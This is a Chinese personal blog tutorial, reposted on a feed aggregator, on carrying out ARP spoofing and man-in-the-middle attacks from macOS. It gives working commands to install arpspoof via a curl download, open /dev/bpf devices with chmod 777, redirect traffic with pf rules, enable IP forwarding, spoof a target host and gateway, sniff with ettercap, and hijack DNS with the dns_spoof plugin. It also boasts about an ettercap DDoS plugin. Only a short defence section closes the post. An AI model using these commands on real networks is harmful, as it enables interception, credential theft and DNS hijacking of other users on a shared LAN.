惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

GbyAI
GbyAI
Y
Y Combinator Blog
F
Fortinet All Blogs
H
Hackread – Cybersecurity News, Data Breaches, AI and More
N
Netflix TechBlog - Medium
T
Tailwind CSS Blog
aimingoo的专栏
aimingoo的专栏
博客园 - Franky
T
The Blog of Author Tim Ferriss
D
DataBreaches.Net
量子位
博客园 - 三生石上(FineUI控件)
I
InfoQ
Engineering at Meta
Engineering at Meta
WordPress大学
WordPress大学
阮一峰的网络日志
阮一峰的网络日志
爱范儿
爱范儿
D
Docker
美团技术团队
雷峰网
雷峰网
U
Unit 42
Stack Overflow Blog
Stack Overflow Blog
Recent Announcements
Recent Announcements
人人都是产品经理
人人都是产品经理

LanYunのBlog

优化macOS Dock栏的显示与隐藏 解决macOS全屏模式下某些情况显示原始鼠标指针的问题 Yarn从Classic迁移到Modern nginx自编译 用santa对二进制进行监控和授权 ESXI 8.0安装黑群晖DSM 7.x openwrt编译过程记录 编译monero For macOS ARM 自建busuanzi不蒜子平台统计平台 浅记博客更新日志 (机翻)Kubo配置文件 修改brew services中服务的启动参数 技术杂记📝 解决Surge模块不能同步问题 为Arch Linux配置邮件服务 自编译NutClient-ESXI,更改邮件逻辑 解决ESXI和群晖使用SSH密钥登录问题 为J4125软路由ESXI中群晖提供UPS服务 在arch linux上搭建rustdesk server 解决虚拟机扩容中GPT PMBR大小不符问题 搭建Tuic V5 优雅地为macOS提供python多版本的支持 修复root路径下文件权限问题 解决macOS 14上利用Whisky运行steam时有关问题 在macOS中用PhpStorm配置Xdebug调试 利用CloudFlare Workers快速自建一个IP获取器 如何自动续期证书? 从0开始速配VPS用于网站等 搭建一个基于ChatGPT的QQ机器人(Yunzai-Bot) For Mac 010 Editor For Mac 13.0.1 Crack 破解
Mac下ARP攻击浅记
LanYun · 2022-04-12 · via LanYunのBlog

前言

本教程以Macos环境为例,其他操作系统请自行参考.以下内容写的比较顺我的心.言外之意:我随便写的,为的是方便我自己

另外如果你是Mac用户,你需要有相应的系统环境,如果你环境从来没有安装过或者没有,需要进行以下操作:

  1. 安装 macports (macports官网)

  2. 更新 macports , sudo port -d selfupdate

  3. 安装 arspoof , curl -LJO https://github.com/YeautyYE/arpspoof/releases/download/2.4b1%2Bdebian-29/arpspoof && chmod a+x arpspoof && mv arpspoof /usr/local/bin/ && sudo arpspoof 项目链接 # 后面内容可以不用看.如果可以 也安装 dsniff(包含 arp 攻击的工具)sudo port install dsniff`就安装吧,kail下有dsniff工具,但这个工具太远古了,本人MBP装不上垃圾东西,我尝试过修复,但修不好..所以这里选择#前的替代方案.

  4. 安装 ettercap , brew install ettercap && brew install adwaita-icon-theme # 可选:adwaita-icon-theme # 如果你觉得按钮有问题无所谓的话,也可以选择不安装 adwaita-icon-theme.

  5. 安装 nmap , brew install nmap

上面👆的内容看不懂?对不起,这个不是纯小白能看的内容,如果你连homebrew都没装,ARP协议及欺骗原理,网关等等都不知道的话,建议你还是马上关闭这个网页吧.会浪费你的时间.


开启网卡(一般不需要)

1
sudo chmod 777 /dev/bpf*

查看目标主机的ARP缓存记录的网关IP以及mac地址(顺便看一下en*端口):如果出现批量重复mac地址,很有可能你在运行或运行过arpspoof命令,出现这种情况时mac地址不采用(因为不可信,nmap查出来的较为可信)

1
arp -a

查询本机各个网卡名的mac地址,本机IP等信息

1
ifconfig

以网关192.168.1.1为例,使用 ping 方式扫描(不准确,但快),192.168.1.1/24”表示扫描”192.168.1.1-192.168.1.254”这个网段的所有机器。

1
nmap -sP 192.168.31.1/24

注:nmap功能非常强大,这里不详细说.

Mac下查询本机地址及网关地址(顺带看一下子网掩码):
Linux呢?我不知道🤷‍♂️诶才怪,Linux的是 route -n

1
netstat -nr 

Routing table flags

The following table describes the Flags column in the netstat -rn output:

FlagDescription
UUp—Route is valid
GGateway—Route is to a gateway router rather than to a directly connected network or host
HHost name—Route is to a host rather than to a network, where the destination address is a complete address
RReject—Set by ARP when an entry expires (for example, the IP address could not be resolved into a MAC address)
DDynamic—Route added by a route redirect or RIP (if routed is enabled)
MModified—Route modified by a route redirect
CCloning—A new route is cloned from this entry when it is used
LLink—Link-level information, such as the Ethernet MAC address, is present
SStatic—Route added with the route command

翻译如下:

路由表旗

下表描述了netstat -rn输出中的Flags列:

国旗描述
UUp—路线有效
G网关—路由是通往网关路由器,而不是直接连接的网络或主机
H主机名—路由是主机而不是网络,其中目标地址是一个完整的地址
R拒绝—当条目过期时由ARP设置(例如,IP地址无法解析为MAC地址)
D动态—通过路由重定向或RIP添加的路由(如果启用路由)
M修改—路由重定向修改的路线
C克隆—使用时从此条目克隆新路由
L链接—存在链接级信息,例如以太网MAC地址
S静态—路线与路由命令一起添加

Flag UCS 为网关或本机IP或子网掩码 Flag UHLWIir 为网关这个我也不太清楚.建议参考上面资料并自行判断

表达式link#x,其中x是某个数字,用于指示相应的地址是链路级地址,即仅在主机物理连接的网络上运行的地址。

换句话说,这些是直接连接的网络,不需要额外的路由。

至于链接编号(为什么它们是#4和#5,而不是您可能期望的#1和#2),检查ifconfig -a的输出,您会看到链接#1通常是环回接口(lo0)。链路2和3通常是IPv6接口(gif0和stf0),为典型的en0(以太网)和en1(机场)留下链接4和5

在进行arp欺骗之前,为了让对方没有察觉.我们可以当个中间人(算是中间人(MITM)攻击了),这个就需要我们开启IP转发,使得本机具有路由功能,否则当欺骗成功之后,目标机会断网.

开启端口转发

Mac下(修改 mac 的packet filter包过滤器):

  1. 在 /etc/pf.anchors 目录下新建文件 http,内容如下
    rdr pass on en0 proto tcp from any to any port 80 -> 127.0.0.1 port 8080
    8080是程序监听的端口号,是否为en0,请以实际为准,否则无效果.

  2. 修改 /etc/pf.conf 文件,在适当的位置加入
    rdr-anchor "http-forwarding"load anchor "http-forwarding" from "/etc/pf.anchors/http" 两行命令.

    必须按照顺序插入,否则会无效。 /etc/pf.conf 修改后是这样:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11



    scrub-anchor "com.apple/*"
    nat-anchor "com.apple/*"
    rdr-anchor "com.apple/*"
    rdr-anchor "http-forwarding"
    dummynet-anchor "com.apple/*"
    anchor "com.apple/*"
    load anchor "com.apple" from "/etc/pf.anchors/com.apple"
    load anchor "http-forwarding" from "/etc/pf.anchors/http"
  3. 重启 packet filter,依次输入命令 sudo pfctl -ef /etc/pf.confsudo pfctl -E

开启IP转发:

Mac下:

1
sudo sysctl -w net.inet.ip.forwarding=1

Linux下:

1
echo 1 >/proc/sys/net/ipv4/ip_forward && cat /proc/sys/net/ipv4/ip_forward

查看本机IP转发情况:

1
sudo sysctl -a | grep forward

ARP欺骗

假设被攻击的 IP 是 192.168.1.66,局域网的网关是 192.168.1.1,攻击电脑使用的网卡接口是 en0,则欺骗命令如下:

1
2

arpspoof -i en0 -t 192.168.1.66 -r 192.168.1.1

arpspoof - 拦截交换局域网上的数据包
arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
参数:
-i:指定要使用的接口(即指定一块网卡),像eth0等。
-c:指定在恢复ARP配置时使用的硬件地址;当在清理(cleaning up)时,数据包的源地址可以用自己的也可以用主机(host)的硬件地址.使用伪造的硬件地址可能导致某些配置下的交换网络、AP网络或桥接网络通信中断,然而它比起默认值————使用自己的硬件地址要工作地更为可靠。
-t:目标地址,如果没指定则会指定LAN上的所有主机。重复可以指定多个主机。
-r:捕获两个方向(目标和主机(host))上的流量,这样就不需要arpspoof发出两个命令了。(仅仅在和-t参数一起使用时有效)
host:你想要截获数据包的主机 (通常是网关)。
想了解更多建议Google或者链接🔗

ettercap截获流量

在前面步骤完成后,可以开始使用ettercap捕获流量了,用命令行开启ettercap的图形窗口:

1
sudo ettercap -G

选择网卡端口en0(请根据实际情况).然后点✔︎即可.

image-20220413014828090

开始扫描.

image-20220413015013204 image-20220413015105514

接下来查看扫描出来的主机信息.

image-20220413015216966

在Host List中添加目标主机IP到 Target 1,添加网关IP到 Target 2.

再开启ARP,选择”sniff remote connections”,然后点击”OK”。这样就配置完成,ettercap会自动开始arp欺骗。.然后再查看数据(选择View下的”Connections”可以监听流量).

image-20220413015509597image-20220413015533734

命令说明
ARP poisoningARP投毒
DNP poisoningDNP投毒
ICMP redirecticmp重定向
Port stealing端口欺骗
DHCP spoofingDHCP欺骗
stop MITM停止攻击
SSL interceptssl嗅探
Hosts显示主机列表
Filters载入二进制脚本
Plugins插件

hosts选项:

命令说明
Hosts list扫描到的主机列表
Enable ipv6 scan扫描ipv6地址
Scan for hosts扫描主机列表
load hosts form file从外部文件载入主机列表
Save hosts to file保存主机列表到文件

修改 /etc/ettercap/etter.dns 并激活dns_spoof插件即可实现DNS劫持.例如 ettercap -i eth0 -Tp -M arp:remote -P dns_spoof /192.168.127.211// /192.168.127.2//

也有ddos插件,可实现ddos攻击,在同一网关下,以我电脑性能实测完全碾压.不同网关的话,另论

怎样防范ARP欺骗?

很简单.

1.在主机绑定网关MAC与IP地址为静态(默认为动态),命令:arp -s 网关IP 网关MAC

2.在网关绑定主机MAC与IP地址,有条件可以使用ARP防火墙.

参考链接🔗有:MacOS下进行ARP欺骗应用ettercap工具进行中间人攻击Dsniff简介arp欺骗攻击及其原理

大学霸 Kali Linux 安全渗透教程